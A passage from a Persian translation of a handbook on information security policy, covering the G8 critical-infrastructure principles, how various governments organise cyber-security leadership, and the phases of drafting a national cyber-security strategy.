نتي بانكـداري، ارتباطـات راه    مثل آنهايي كه بطور س ـ    . (دهند  انجام مي 

  ).انددور و بخشهاي انرژي را قانونمند كرده

درحال حاضر تعدادي از شركتهاي بزرگ پيشقدم وجود دارنـد          
. كننـد كه در مقياس بزرگتري در ايـن زمينـه همكـاري مـي            

 اصـل را    ۱۱ ،   ۲۰۰۳در ماه مـي سـال       G8بعنوان مثال گروه    
 مخـاطرة   مشخص كرد كه بـراي توسـعة اسـتراتژي كـاهش          

 اين اصـول    ١٦.زيرساخت اطلاعات حساس مد نظر قرار گيرند      
  :به شرح زير هستند

 دهندة اضـطراري     هاي هشدار   كشورها بايد داراي شبكه    .۱
 .براي تهديدات و حوادث دنياي سايبر باشند

كشورها بايد سطح آگاهي و دانش خود را ارتقا دهند تـا           .۲
ات به درك افراد از ماهيت و وسعت زيرسـاخت اطلاع ـ         

حساس خود كمك نمايند و نقـش آنهـا را در راسـتاي             
 .حفاظت از اين اطلاعات تعريف كنند

كشورها بايد زيرساختهاي خـود را مـورد مطالعـه قـرار             .۳
دهند و ارتباطات متقابل ميان آنها را مشخص سـازند و           

 .بدينوسيله حفاظت از اين زيرساختها را افزايش دهند

مي و بخـش    كشورها بايد مشاركت ميـان بخـش عمـو         .۴
خصوصي را افزايش داده و اطلاعات زيرسـاختي مهـم          
خــود را مــورد تجزيــه و تحليــل قــرار دهنــد و آنهــا را 

ديدن آنهـا تـا حـد       اشتراك بگذارند تا بتوانند از آسيب       به
امكان جلـوگيري نماينـد و نـسبت بـه آسـيبهاي وارده             

 .واكنش نشان دهند

مان هاي ارتباطي مخصوصي براي ز      كشورها بايد شبكه   .۵
بحران ايجاد و از آن نگهـداري كننـد، و آنهـا را مـورد               

                                                                  
15   Best Practices 

  :هاي زير مراجعه كنيدتوانيد به پايگاهيبراي اطلاعات بيشتر م   ۱۶
http://www.cybersecuritycooperation.org/docu
ments/G8_CIIP_Principles.pdf 
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ارزيابي قرار دهند تا اطمينان يابنـد كـه در موقعيتهـاي            
ماننــد و  اضــطراري همچنــان امــن و پايــدار بــاقي مــي

 .توان از آنها استفاده كرد مي

در دسـترس  كشورها بايد اطمينان يابند كه سياسـتهاي        .۶
عـات حـساس را     ، امنيت زيرساختهاي اطلا   ١٧بودن داده 

 .اندنيز مد نظر قرار داده

كشورها بايد رديـابي حمـلات بـه زيرسـاختهاي مهـم             .۷
ــب،    ــان مناس ــشيده و در زم ــسهيل بخ ــاتي را ت اطلاع
اطلاعات اين رديابي را براي ساير كشورهاي متقاضـي         

 .منتشر سازند

كــشورها بايــد در خــصوص افــزايش قابليــت واكــنش،  .۸
هـاي خـود را     و برنامه آموزشها و تمريناتي داشته باشند      

براي پيشامدهاي احتمالي در زمان وقـوع حملـه مـورد           
ارزيابي قرار دهند و همگـان را نيـز تـشويق بـه انجـام          

 .فعاليتهاي مشابه سازند

كشورها بايد اطمينان حاصل كنند كه بـراي مقابلـه بـا             .۹
مشكلات امنيتي، قوانين مناسب و روالهاي قابل قبـول         

با ساير كشورها به نحو احـسن       دارند و اين تحقيقات را      
كنوانــسيون  ماننــد قــوانيني كــه در -مطابقــت دهنــد 

 ۲۰۰۱ در نـوامبر سـال       ١٨تخلفات سايبر شـوراي اروپـا     
اي را آمادة ارزيابي و       تصويب شد و پرسنل آموزش ديده     

رديابي حملات انجام گرفته به زيرساختهاي اطلاعـات        
 .حساس نمود

المللي   اريهاي بين كشورها بايد در زمان مناسب در همك       .۱۰
مشاركت كنند تا زيرساختهاي مهم اطلاعـاتي خـود را           
ايمن سازند، كه اين امـر شـامل تأسـيس سيـستمهاي            
هشداردهندة اضطراري، اشتراك و تحليل اطلاعات بـر        

پذيريها و رخدادها، و نيز همكاري در مورد          اساس آسيب 
حملات انجام شده به زيرساختهاي اينچنيني و البته بـا          

 .باشدظر گرفتن قوانين محلي ميدرن

المللي خـود را      كشورها بايد تحقيق و توسعة ملي و بين        .۱۱
المللـي،    افزايش دهند و بـر اسـاس اسـتانداردهاي بـين          

 .مشوق بكارگيري فناوريهاي امنيتي باشند

                                                                  
17 Data Availability 
18 Council of Europe Cybercrime Convention 

اي، ارتباطـات داخلـي     خصوصيت منحصر به فرد امنيت رايانه     
ارهـاي مـشابه و   افز افزارها و نـرم   شامل سخت -ميان بخشها   

.  و وابستگي به يك شبكه ارتبـاطي مـشترك اسـت           -همانند  
اي سياستگذاري كننـد كـه ضـامن        بنابراين دولتها بايد بگونه   

حلهاي مـرتبط  پذيريها و راه اشتراك اطلاعات مربوط به آسيب 
تـوان اينكـار را بـا انتخـاب       مي. با گروههاي زيرساختي باشند   

سـازي متمركـز      ماهنـگ يك مركز راهبري در دولت بـراي ه       
ها و سياستهاي امنيت سايبر عملـي كـرد و مـا نيـز در                 برنامه

 .ادامة اين بخش به بررسي اين موضوع خواهيم پرداخت
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 امنيت فناوري اطلاعات و سياستهاي دولتي: بخش چهارم  ٢٣٥

ش
بخ

 
رم
چها

  

  فصل دوم 
  حفاظت از سيستمهاي دولتي

تمامي موضوعاتي كه در مورد سـازمانهاي كوچـك و بـزرگ            
)SMEــا ــم در   ) ه ــرار دادي ــه ق ــورد مطالع ــوم م در بخــش س

همـانطور كـه    . دولتي نيز قابـل اسـتفاده هـستند       سيستمهاي  
كننـــدگان و  شـــركتها نيازمنـــد محافظـــت از خـــود، تهيـــه

ــستمها و   مــصرف ــد از سي ــز باي ــدگان هــستند، دولــت ني كنن
شهروندان در برابـر تهديـدهاي فيزيكـي و تهديـدات امنيـت            

تواننـد    دولتهـاي محلـي و ملـي نمـي        . سايبر محافظت نمايـد   
اي، وقوع وقفه در عمليات رايانـه     جلوي بحرانهاي شديد مثل     

اي را    هاي محرمانه و يا سرقت منـابع رايانـه          از بين رفتن داده   
انتشار اخبار رخـدادهاي امنيتـي بـراي عمـوم باعـث            . بگيرند

شود و تبديل به مانعي براي پيـشرفت  كاهش اعتماد مردم مي  
بنابراين همـانطور كـه     . گردد مي ١٩دولت الكترونيكي اقدامات  

بل اشاره شد، معمـولاً اولـين مـسئوليت دولـت در            در فصل ق  
آن اسـت؛   " تنظيم امـور مربـوط بـه خـود        "امنيت رايانه همان    

ملـي،  (بدين معنـا كـه سـازمانهاي دولتـي در تمـامي سـطوح              
اي كه مورد استفادة  بايد از سيستمهاي رايانه   ) اي و محلـي     منطقه

ي اينكار شـامل سيـستمها    . آنان قرار دارد حفاظت بعمل آورند     
هـا از     اي مورد استفادة سازمانهاي دولتي و يا وزارتخانـه          رايانه

جمله نيروهـاي نظـامي و انتظـامي، سـازمانهاي بهداشـت و             
سلامت عمومي، مراكـز واكنـشهاي اضـطراري، و همچنـين           

زيرساختهاي مربوط بـه دولـت كـه    . شود بانكهاي مركزي مي 
و چـه   وابسته به رايانه است بسته به اينكه چه چيزي دولتـي            

توانند شـامل سيـستمهاي     چيزي خصوصي محسوب شود مي    
آبي، سدهاي هيـدروالكتريكي، سيـستمهاي كنتـرل ترافيـك          

  .هوايي و ساير امكانات و تسهيلات باشند

  فرماندهي و سازمان
اي دولـت را بـا        تمهيد ساختار ملي براي مسئله امنيـت رايانـه        

 چالشهاي سازماني از جملـه چگـونگي رهبـري ايـن سـاختار            

                                                                  
19  E-Government 

براي تعيين مسئوليتها در دولت بايـد ابتـدا بـه           . كندروبرو مي 
آيا از نظر اقتصادي، امنيت ملي و يا        : اين پرسش پاسخ داد كه    

اي يـك مـسئله قابـل اهميـت           مقررات حاكم، امنيـت رايانـه     
  شود؟ محسوب مي

  :براي پاسخ به اين پرسش بد نيست بدانيم

بـه وزارت    ٢٠امنيـت سـايبر   كانادا اعتبارات زيادي براي      •
 ٢١.دفاع خود اختصاص داده است

 كه مسئول اجراي قوانين است  ٢٢ادارة اقامت در بريتانيا،    •
 ٢٣.رهبري را بر عهده دارد

ايالات متحده اين موضوع را در بخـش امنيـت داخلـي             •
بخـش  خود قرار داده است، اما تعمداً و بصورت آگاهانه          

  تحت ٢٤اي مؤسسة ملي استاندارد و فناوري       امنيت رايانه 
 ٢٥.نظارت دپارتمان تجارت را همچنان حفظ كرده است

استراليا يك گروه همكاري امنيت الكترونيكي را بـراي          •
 -سازي سياست امنيت سـايبر ايجـاد نمـوده          هماهنگ

                                                                  
20 Cyber-Security 

" يط اضـطراري  حفاظت از زيرساختهاي حياتي و آمـادگي شـرا        "دفتر     ۲۱
-كانادا يك سازمان مدني است كه در وزارت دفاع ملي فعاليت مـي            

  .كند
22  Home Office 

ادارة اقامت انگلستان يك مركز زيرساختي همكاريهاي امنيتي ملـي             ۲۳
)NISCC (         تأسيس كرده كه در مسائل حياتي امنيت زيرساختها كار

 ـ            د، و روابـط    كند، هشدارها و واكنـشهاي كمكـي لازم را ارائـه نماي
. تر نمايد بخش دولتي و خصوصي را براي حفاظت از اطلاعات ساده         

ــه   NISCCدر  ــت رايان ــاي امني ــز فوريته ــك مرك ــام  ي ــه ن اي ب
UNIRAS  همچنين يـك تـيم واكـنش بـه حمـلات           .  وجود دارد
 وجـود دارد تـا بـه سـازمانهاي          NISCCدر  ) EARG(الكترونيكي  

ه از حمـلات آسـيب      حاوي زيرساختهاي حياتي و بخشهاي دولتي ك      
بعد از امكان بوجود آمدن حملات،       UNIRAS. بينند كمك كند  مي

بـراي  . دهـد به تمام سـازمانها و شـركتهاي انگلـستان هـشدار مـي            
توانيد به پايگـاه    اطلاعات بيشتر در مورد راهبرد دولت انگلستان مي       

  :مراجعه كنيد NISCCوب 
http://www.niscc.gov.uk 

24  Computer Security Division of the National 
Institute of Standards & Technology 

اي براي همكاريها دارد    از بعضي منظرها ايالات متحده مدل پيچيده         ۲۵
در . و ممكن است الگوي خوبي براي كشورهاي درحال توسعه نباشد   

-مسئول امنيت سيستمهاي رايانه   " كميته امنيت ملي  "ايالات متحده   
تـي و بخـش خـصوصي اسـت، امـا مركـز دولتـي               اي در بخش دول   

ريـزي بـراي سيـستمهاي      مديريت امنيت اطلاعات مسئوليت برنامه    
بندي كـاخ سـفيد داده، و       اي دولت را به دفتر مديريت و بودجه       رايانه

شــوراي امنيــت ملــي در كــاخ ســفيد نيــز مــسئوليت همكــاري در  
  .سياستگذاري امنيت سايبر را بر عهده دارد
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يك سازمان اجرايي كه توسط ادارة ملي بـراي اقتـصاد           
اطلاعاتي ايجاد شده و تحت نظارت وزارت ارتباطات و         

 ٢٦.دباش فناوري اطلاعات مي

ايتاليا يك كميتة داخلي وزارتي براي استفادة مسئولانه         •
از اينترنت برقرار ساخته كه توسط دپارتمـان نـوآوري و           

 .گردد فناوري در دفتر نخست وزيري مديريت مي

 نخــست وزيــر ژاپــن گروهــي را بــراي ۲۰۰۰در ســال  •
پرداختن به مسئله امنيت فنـاوري اطلاعـات در كابينـة           

هتـر بتوانـد معيارهـا و سياسـتهاي         دولت ايجاد كرد تا ب    
ايـن  . امنيتي را ميان وزيران و سازمانها هماهنگ نمايد       

گروه متشكل از متخصصاني بود كه عـضو سـازمانها و           
 ٢٧.هاي وابسته و نيز بخش خصوصي بودند وزارتخانه

انتخاب محل فرماندهي امنيت الكترونيكي در دولـت اهميـت         
 در مورد زمـان انتـشار       گيريبعنوان مثال تصميم  . زيادي دارد 

پذيريهاي امنيت سايبر بـراي عمـوم،         اطلاعات در مورد آسيب   
قرار دادن اين مسئوليت در     . نيازمند بررسيهاي چندجانبه است   

وزارت دفاع كه معمولاً مسئول حفظ اسرار امنيت ملـي اسـت            
ممكن است انتشار اطلاعات را دچار اختلال كند و باعث شود           

 بردن سطح آگاهيهاي عمومي منتـشر       مطالب كافي براي بالا   
از آنجا كه همكاري بخش دولتـي و بخـش خـصوصي           . نشود

جزء مهمي از آنچه كـه معتقـديم مـؤثرين اسـتراتژي امنيـت              
باشد، شايد بهتر باشد رهبري امنيت سـايبر        اي است مي    رايانه

در يك سازمان اقتصادي يا شركت وابسته به دولـت و تحـت         
  .ايي كشور قرار گيردنظارت بالاترين مقام اجر

اما مهمتر از اينكه كدام سازمان يـا سـازمانها بايـد مـسئوليت          
اي را بر عهده گيرند اين اسـت كـه بايـد نـوعي                امنيت رايانه 

ايجاد شود تا بتوان كسب اطمينان كـرد كـه          " فرماندهي ملي "
اي از سوي اجزاي دولت بـه انـدازة كـافي مـورد               امنيت رايانه 

هنگاميكـه بـه وارد كـردن مقولـة         . تتوجه قرار خواهـد گرف ـ    

                                                                  
ن استراليا، سـازمانهاي اجرايـي سـازمانهاي غيـر جزايـي            طبق قواني    ۲۶

هستند و هنگامي كه كار سازمان در حيطه كل دولت باشد و كمـي              
از ساختار دولتي مستقل باشند، بايـد توسـط بـالاترين مقـام دولتـي           

 در  -رئيس سازمان اجرايي توسط يـك وزيـر         . محلي تأسيس شوند  
شـود و تنهـا      منصوب مي  -اينجا وزير ارتباطات و فناوري اطلاعات       

  .به او پاسخگوست
  :پايگاه زير مراجعه كنيدبه توانيد براي اطلاعات بيشتر مي   ۲۷

http://www.kantei.go.jp/foreign/it/security/2000
/0519taisei.html 

انديشيم، سؤالات    هاي موجود مي  اي به وزارتخانه  امنيت رايانه 
آيند كه بايد براي آنها پاسخ مناسـب        سازماني مهمي پيش مي   

كننـدة امنيـت    چنانچه تنها اختيـار سـازمان هـدايت       . پيدا كرد 
سايبر ، ترغيب مردم و انتشار اطلاعـات بـراي عمـوم باشـد،              

هـا محـدود      عملي آن در حوزة امنيت سـاير وزارتخانـه        اختيار  
بنابراين بايد روشهايي بوجود آيند كه بـه رهبـران          . خواهد بود 

امنيت سايبر اجـازه دهنـد امنيـت را در سيـستمهاي موجـود              
يـك روش بـراي الـزام       . ها برقرار سازند    سازمانها و وزارتخانه  

اي   يانـه ها بـه موافقـت بـا اسـتانداردهاي امنيـت را             وزارتخانه
تواند اين باشد كـه يـك مقـام مـسئول در ادارة مركـزي                 مي

امنيت در دولت بتواند سفارشات خريد سازمانهاي دولتي كه از          
  .اند را رد كنداستانداردهاي امنيتي تبعيت نكرده

 ايـن روش را در پـيش گرفتـه و حـق              ايالات متحده تا حدي   
اي گــذاري روي سيــستمه هــاي ســرمايه تأييــد يــا رد هزينــه

 را  - با ملاحظات مختلف از جمله مـسائل امنيتـي           -اي    رايانه
بنـدي رياسـت جمهـوري        بر عهـدة دفتـر مـديريت و بودجـه         

هـا و     تواند الـزام وزارتخانـه    يك اقدام ديگر مي   . گذاشته است 
سازمانهاي دولتي به اجراي مميـزي سـالانة امنيـت سـايبر و         

 ساختاري كـه   هر. گزارش نتايج آن به ادارة امنيت سايبر باشد       
انتخـاب شـود، مـدير ارشـد آن بايـد از طـرف دفتـر رياسـت         

 وزيري تعيـين گـردد تـا تمـامي ادارات و      يا نخست  جمهوري  
  .سازمانها آنرا جدي بگيرند

. چالش سازماني ديگر براي دولت، مشكل منابع انساني اسـت         
دولتها براي جذب و نگهـداري پرسـنل متخـصص در زمينـة             

توانـد ارائـه      حلها مـي  يكي از راه  . ل دارند اي مشك   امنيت رايانه 
اي باشـد كـه بـا         بورس تحصيلي براي مطالعات امنيت رايانـه      

استفاده از اين بورسها، افراد بـراي سـالهاي مشخـصي تعهـد             
مدت نيـز   حل كوتاه يك راه         . خدمت به دولت پيدا خواهند كرد     

اي بـا مـشاركت بخـش       اي دو مرحلـه   تواند اجراي برنامـه   مي
صي باشد كه در آن متخصصان امنيت سايبر براي دولت    خصو

كار كنند، اما تمام يا بخـشي از حقوقـشان توسـط كارفرمـاي             
مشكل منـابع انـساني در      . بخش خصوصيِ آنها پرداخت گردد    

ــعه   ــشورهاي توس ــم در ك ــايبر ه ــت س ــم در امني ــه و ه يافت
كشورهاي درحال توسعه ممكن است منجر به مواجهة دولـت          

ي ديگري شود، چراكـه دولـت در مقايـسه بـا            با مشكل اساس  
تواند به متخصصين اين رشـته دسـتمزد        بخش خصوصي نمي  
  .قابل توجهي بپردازد
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  تهية استراتژي ملي امنيت سايبر
توانـد ابـزار مـؤثري     روند تهية استراتژي ملي امنيت سايبر مي    

پذيريهاي مـالي     باشد براي تصميمگيري در مورد اينكه آسيب      
لـي چيـستند، مـسئوليتهاي دولـت بايـد چـه            امنيت سـايبر م   

چيزهايي باشد، و چه سياسـتها و اصـلاحاتي در قانونگـذاري            
توانند ارتباط ميان  اين استراتژيها همچنين مي. بايد دنبال شود  

اينجـا عمـدتاً      در  . دولت و بخش خصوصي را مشخص سازند      
روي آندسته از عناصر استراتژيهاي امنيت ملي سايبر متمركز         

. هاي دولتي را بر عهـده دارنـد         يم كه پشتيباني از رايانه    شو  مي
در ادامــة بخــش چهــارم نقــش دولــت را در ارتقــاي امنيــت 
سيــستمهاي بخــش خــصوصي مــورد بحــث و بررســي قــرار 

توانـد فوايـد    مرور استراتژيهاي ايالات متحده مي    . خواهيم داد 
  :انجام اينكار را روشن كند

 تهديدهاي درحال  بطور كلي بخش خصوصي براي واكنش به      
با اين وجود در بعضي     . رشد فضاي سايبر آمادگي لازم را دارد      

  مـــوارد خـــاص، پاســـخ دولـــت مركـــزي مناســـبتر و      
از نظر داخلي، تـداوم اينكـار در دولـت          . باشد  تر مي   قابل قبول 

نيازمند كسب اطمينـان از امنيـت زيرسـاختهاي سـايبر خـود             
ني از مأموريتهـا و     هاي مورد نياز براي پـشتيبا     دولت و سرمايه  

از نظـر خـارجي، در مـواردي كـه       . خدمات ضروري آن اسـت    
هاي بالاي تبادلات و موانـع قـانوني منجـر بـه وقـوع                هزينه

شوند؛ در مواردي كه دولـت        مشكلات بزرگ در همكاريها مي    
كند؛ و هنگاميكـه    در غياب نيروهاي بخش خصوصي كار مي      

شـدن منـابع    تجزيه و تحليل مشكلات بـه غيرقابـل انتـشار           
انجامـد، نقـش دولـت در       شـده مـي   اشتراك گذاشـته   حياتي به 

  ٢٨."كننده رفع مشكلات خواهد بودامنيت سايبر تضمين

تا به امروز ايالات متحده وسـيعترين و بيـشترين فرآينـدهاي            
تهية استراتژيهاي ملي امنيت سـايبر را داشـته و در عملكـرد             

لب و موضـوعات  المللي نيز مطا  ساير كشورها و گروههاي بين    
با اينكه جزئيـات ايـن فرآينـدها و    . خورد  مشابهي به چشم مي   

پيامدهاي قوانين و ساختارهاي سازماني از كشوري به كـشور          
ديگر متفاوت هستند، فرآينـد تهيـة اسـتراتژي امنيـت سـايبر            
مــشابه روشــي اســت كــه بــسياري از كــشورها بــراي تهيــه 

                                                                  
28  The National Strategy to Secure Cyberspace 

[U.S.] 
http://www.whitehouse.gov/pcipb 
http://www.dhs.gov/interweb/assetlibrary/Natio
nal_Cyberspace_Strategy.pdf 

ات از آن اسـتفاده     استراتژيهاي ملي فناوري اطلاعات و ارتباط     
 در حقيقـت امنيـت يـك جـزء اسـتراتژيهاي ملـي              ٢٩.اندكرده

فناوري اطلاعات و ارتباطات است و استراتژي امنيـت سـايبر           
تواند از طريـق اصـول حقـوقي و روشـهاي مـشابه مـورد                 مي

نـويس برنامـة ملـي توسـعه فنـاوري           استفاده در تهيـه پـيش     
ن مثـال ژاپـن در      بعنوا. اطلاعات و ارتباطات بكار گرفته شود     

ــارس  ــت  ۲۰۰۱م ــة اولوي ــايبر را در برنام ــت س ــدي  امني بن
  ٣٠. تركيب كرده استe-Japan خود موسوم به سياستگذاري

بر اساس تجربيات كشورهايي كه براي خود استراتژيهاي ملي  
اند، در انجام اينكـار برخـي عناصـر و          امنيت سايبر تهيه كرده   

  :بخشهاي مشترك وجود دارد

پــذيريهاي ملــي و انتــشار گزارشــهاي  ارزيــابي آســيب .۱
كشند و براي     عمومي كه كليت موضوع را به تصوير مي       

 آورند؛ سياستگذاران و مردم آگاهي بوجود مي

ايجاد ساختار فرماندهي در بخش اجرايي دولـت بـراي           .۲
 نظارت بر تهيه و اجراي سياستها؛

تهية يك طرح تفصيلي ملي بـا تبـادل نظـر بـا بخـش            .۳
 خصوصي؛

رات و راهبردهاي مـرتبط بـا مـسائلي نظيـر      تطبيق مقر  .۴
اشتراك و دسترسي بـه اطلاعـات بـراي بوجـود آوردن       

 .پاسخگويي

پذيريها و افزايش سطح آگـاهي        فاز اول، ارزيابي مفصل آسيب    
 گزارشـي تحـت     ۱۹۹۷بعنوان مثـال اسـتراليا در سـال         . است

ــوان  ــتراليا  عن ــي اس ــات مل ــاخت اطلاع ــدها و : زيرس تهدي
اين گزارش كه توسـط     .  چاپ رسانده است    به ٣١پذيريها  آسيب

 تنظــيم شــد Defense Signalsهيــأت مــديرة شــركت 
رساند كه جامعة استراليا نسبت به      خواننده را به اين نتيجه مي     

پذير اسـت و نيـز      اي آسيب   هاي رايانه   نقائص نسبتاً زياد شبكه   
هيچ ساختار رسمي و مشخـصي بـراي همـاهنگي و اجـراي             

حفـظ زيرسـاختهاي اساسـي وجـود        سياستهاي دولتي جهـت     

                                                                  
 . مراجعه كنيد۱۷توانيد به پاورقي شماره براي اطلاعات بيشتر مي   ۲۹

30  http://www.kantei.go.jp/foreign/it/network/ 
priority-all/index.html 

31  Australia's National Information Infrastructure: 
Threats & Vulnerabilities 
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٢٣٨ 

 رئيس جمهور ايالات متحده براي مطالعـه روي ايـن           ٣٢.ندارد
مجمــع حمايــت از  هيــأتي بــه نــام ۱۹۹۶موضــوع در ســال 

 متـشكل از بعـضي      ٣٣زيرساختهاي حياتي رياسـت جمهـوري     
اين مجمع فاقد هرگونه    . مقامات حقيقي و حقوقي بوجود آورد     
ر و ثابتي نداشـت، بلكـه       قدرت قانونگذاري بود و ساختار پايدا     

محيطـي بـراي گــزارش، مـصاحبه و تحقيــق فـراهم كــرد و     
گزارشي منتشر نمود كه مورد توجـه سياسـتگذاران، مقامـات           

ايـن هيـأت    . هاي جمعي و مـردم قـرار گرفـت          حقوقي، رسانه 
 ارائـه داد و  ۱۹۹۷پيشنهادات قابل توجه ديگـري را در اكتبـر          

  .ي و دولت شدتر بخش خصوص خواستار همكاري صميمانه

فاز دوم، ايجـاد سـاختارهاي ثابـت در بخـش اجرايـي بـراي               
بعنـوان مثـال در     . همكاري در تهيه و اجراي سياسـتها اسـت        

كميتـة داخلـي    كانادا بدنبال انتشار نتايج يك ارزيابي توسـط         
، دولت يك مركـز همكـاري       ٣٤حفاظت از زيرساختهاي حياتي   

ا و بررسـي    آوري و حفاظت اطلاعـات، ارزيـابي تهديـده          جمع
رخدادهاي امنيتي؛ و يك دفتر جهت حفاظت از زيرسـاختهاي         
حياتي و آمادگي در شرايط اضطراري براي بوجودآوردن يـك          

  ٣٥.فرماندهي در سطح ملي تأسيس كرد

در ايالات متحده، كلينتـون و بـوش بـا تأسـيس سـازمانهاي              
در . سياستگذار در بخش اجرايي، چنـد گـام عملـي برداشـتند           

ه شده بود كه يك پيشنهاد ملي بـراي حفاظـت        طرحها خواست 
جمهـور، بـه     اين دسـتورات رئـيس     ٣٦.از زيرساختها تهيه شود   

                                                                  
 ۱۷براي اطلاعات بيشتر به كتاب معرفـي شـده در پـاورقي شـماره             ۳۲

  .مراجعه كنيد
33  President's Critical Infrastructure Protection 

Board 
34  Critical Infrastructure Protection Task Force 
35  Office of Critical Infrastructure Protection & 

Emergency Prepareness [Canada] 
http://www.ocipep.gc.ca/critical/nciap/disc_e.a
sp 

منتـشر  ) PDD" (تصميمات راهبـردي رئـيس جمهـور   "كلينتون در اين زمينه        ۳۶
  :كرد

63: Critical Infrastructure Protection, May 22, 
1998, 
http://www.fas.org/irp/offdocs/pdd-63.htm 
62: Protection Against Unconventional 
Threats to the Homeland & Americans 
Overseas, May 22, 1998, 
http://www.fas.org/irp/offdocs/pdd-62.htm 

 نيز بوش دو دستورالعمل اجرايي امضا كرد        ۲۰۰۱ سپتامبر   ۱۱بعد از   
شـد و موجوديتهـاي     آنهـا عمليـات مجـدداً مكانيـابي مـي         كه طبق   

جديدي در بخشهاي اجرايي براي حفاظـت از زيرسـاختهاي حيـاتي         
  :آمدبوجود مي

E.O. 13228, Establishing the Office of 
Homeland Security & the Homeland Security 

ســازمانهاي دولتــي مجــوز نظــارت بــر سيــستمهاي بخــش  
داد، اما در عوض بر ضرورت وجود همكاري          خصوصي را نمي  

و اشتراك اطلاعات ميـان دولـت و بخـش خـصوصي تأكيـد              
فرمانـدهي و   "ر قـسمت    سـاير سـاختارهاي رهبـري د      . داشت
  .گيرند مورد بحث قرار مي" سازمان

همـانطور كـه در بـالا       . فاز سوم شامل تهية استراتژيها اسـت      
تواند يك سـند   اشاره شد، يك استراتژي ملي امنيت سايبر مي     

نكتـة  .  باشـد  ICTمجزا و يـا قـسمتي از اسـتراتژيهاي ملـي            
كليدي در اين فرآيند، تبادل نظر دولـت و بخـش خـصوصي             

 ICTدر ژاپن كه امنيت سايبر را در استراتژيهاي كلـي           . است
مركـز اسـتراتژيهاي    "ادغام كـرده، ايـن فرآينـد بـا همكـاري            

شـوراي اسـتراتژي فنـاوري      "در كابينـه و     " فناوري اطلاعـات  
كه از بيست صاحبنظر تشكيل شده بـود بـه انجـام        " اطلاعات

اي دولت  رسيد، و اصالتاً به اين منظور تأسيس شد كه توانائيه         
  ٣٧.و بخش خصوصي را تركيب كند

استراتژي امنيت سايبر ايالات متحده يك سند مجزا اسـت و           
نظرهاي عمـومي   تهية آن محصول فرآيندي طولاني از تبادل      

است كه توسط كاركنان شوراي امنيـت ملـي مـديريت شـده             
 منتـشر   ۲۰۰۰نگارش اول اسناد اين استراتژي در سال        . است

، و نگـارش    ۲۰۰۲ة آن در پـائيز سـال        شد، نسخه بازبيني شد   
 در تمـامي ايـن مراحـل طرحهـاي     ۲۰۰۳.٣٨آخر آن در فورية   

هاي تفصيلي در دولت و ميان        ايالات متحده بر اساس مشاوره    
ده نشست عمـومي نيـز      . دولت و بخش خصوصي بازبيني شد     

آوري نيروهـاي مـورد       در شهرهاي مهم جهان بمنظـور جمـع       

                                                                  
Council, October 8, 2001, 
http://fas.org/irp/offdocs/eo/eo-13228.htm 
E.O. 13231, Critical Infrastructure Protection 
in the Information Age, October 16, 2001, 
http://ciao.gov/News/EOonCriticalInfrastructur
eProtection101601.html 

37  e-Japan Security Policy Program, March 29, 
2001, 
http://www.kantei.go.jp/foreign/it/network/priori
ty-all/index.html 

  آخرين نسخه آن عبارتست از   ۳۹
The National Strategy to Secure Cyberspace: 
http://www.dhs.gov/interweb/assetlibrary/Natio
nal_Cyberspace_Strategy.pdf. 

  :اين استراتژي با كمك از سند زير تهيه شد
The National Strategy for Physical Protection 
of Critical Infrastructures & Key Assets: 
http://www.dhs.gov/interweb/assetlibrary/Phys
ical-Strategy.pdf. 

دهنـد و   هردوي اين اسناد اجزاي استراتژي ملي امنيت را شرح مـي          
  . توسط كاخ سفيد منتشر شدند۲۰۰۲در جولاي 
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در اين نشـستها    . اتژيها برپا گشت  استفاده براي تهية اين استر    
 مدني، همكاران تجاري، و شـركتها بـا         -هاي اجتماعي     گروه

از ديگر اسـتراتژيهاي امنيـت سـايبر        . يكديگر مشورت كردند  
  ٣٩.توان به استراتژي استراليا اشاره كردمي

اي نيز براي تهية اين اسـتراتژيها فعاليتهـايي           در سطح منطقه  
اروپا استراتژي امنيت سايبر خود     اتحادية  . صورت گرفته است  

را نه تنها در يك سند واحد، بلكه طي چنـدين سـال در يـك                
سلسله اسناد مربوط به طرحهاي پيشنهادي كميـسيون اروپـا          

 ٤١(APEC)سازمان همكاري اقتـصادي آسـيا      ٤٠.منتشر ساخت 
گـروه كـاري    اي كه توسـط     استراتژيهاي امنيت سايبر منطقه   

 و بـا مـشاركت فعـال        ٤٢(TEL) راطلاعات و ارتباطـات راه دو     
سازمان  ٤٣.بخش خصوصي بازنويسي شده را بكار گرفته است       

اي را نيز  مسئوليت فعاليتهاي منطقه   ٤٤(OAS) ايالتهاي آمريكا 
 مجمــع عمــومي ســازمان ۲۰۰۳ در ژوئــن ٤٥.بــر عهــده دارد

اي بـراي تهيـة اسـتراتژي داخلـي           ايالتهاي آمريكـا قطعنامـه    

                                                                  
39  E-Security National Agenda [Australia], 

September 2001, 
http://www.noie.gov.au/projects/confidence/Pr
otecting/nat_agenda.htm 

40  European Commission, Proposal for a 
Regulation of the European Parliament & of 
the Council - Establishing the European 
Network & Information Security Agency, Feb. 
11, 2003, COM (2003) 63 Final, 2003/0032 
(COD), 
http://europa.eu.int/information_society/eeuro
pe/action_plan/safe/documents/nisa_en.pdf 

توانيد به اين پاورقي در اصل كتاب مراجعه        براي اطلاعات بيشتر مي   
نسخة الكترونيكي كتاب اصلي در آدرس زير قابـل دسترسـي           . كنيد
  :است

http://www.infodev-security.net/handbook 
41  Asia Pacific Economic Cooperation 
42  Telecommunications and Information Working 

Group 
  :توانيد در آدرس زير پيدا كنيداين سند را مي   ۴۳

http://www.apecsec.org.sg/content/apec/apec
_groups/working_groups/telecommunications
_and_information.html 

 اهميــت حفاظــت از يكپــارچگي APEC، وزيــران ۲۰۰۲در اكتبــر 
 را در عـين اسـتفاده از        APECسيستمهاي اطلاعاتي و ارتباطـات      

در واكنش بـه ايـن مـسئله، آنـان از           . جريان آزاد اطلاعات دريافتند   
 استفاده كردند و به مـسئولين دسـتور         TELاستراتژي امنيت سايبر    

  :سازي نمايند ه آنرا پيادهدادند ك
http://203.127.220.67/apec/ministerial_statem
ents/annual_ministerial/2002_14th_apec_mini
sterial.html#policies 

44 Organization of American States 
براي اطلاعات بيـشتر    . جنايات فضاي سايبر بود    OASوظيفه اوليه      ۴۵

  :مراجعه كنيدتوانيد به پايگاه زير مي
http://www.oas.org/juridico/english/cyber_exp
erts.htm 

اي و    ستيابي بـه اطلاعـات رايانـه      آمريكا در مقابل تهديدات د    
 سازمان همكاري و توسـعة اقتـصادي       ٤٦.ها تدوين نمود    شبكه

(OECD)هـايي بـراي دولتهـا و شـركتهاي         مـشي  نيز خـط   ٤٧
خصوصي در خصوص تهية اسـتراتژي امنيـت سـايبر منتـشر            

  ٤٨.ساخت

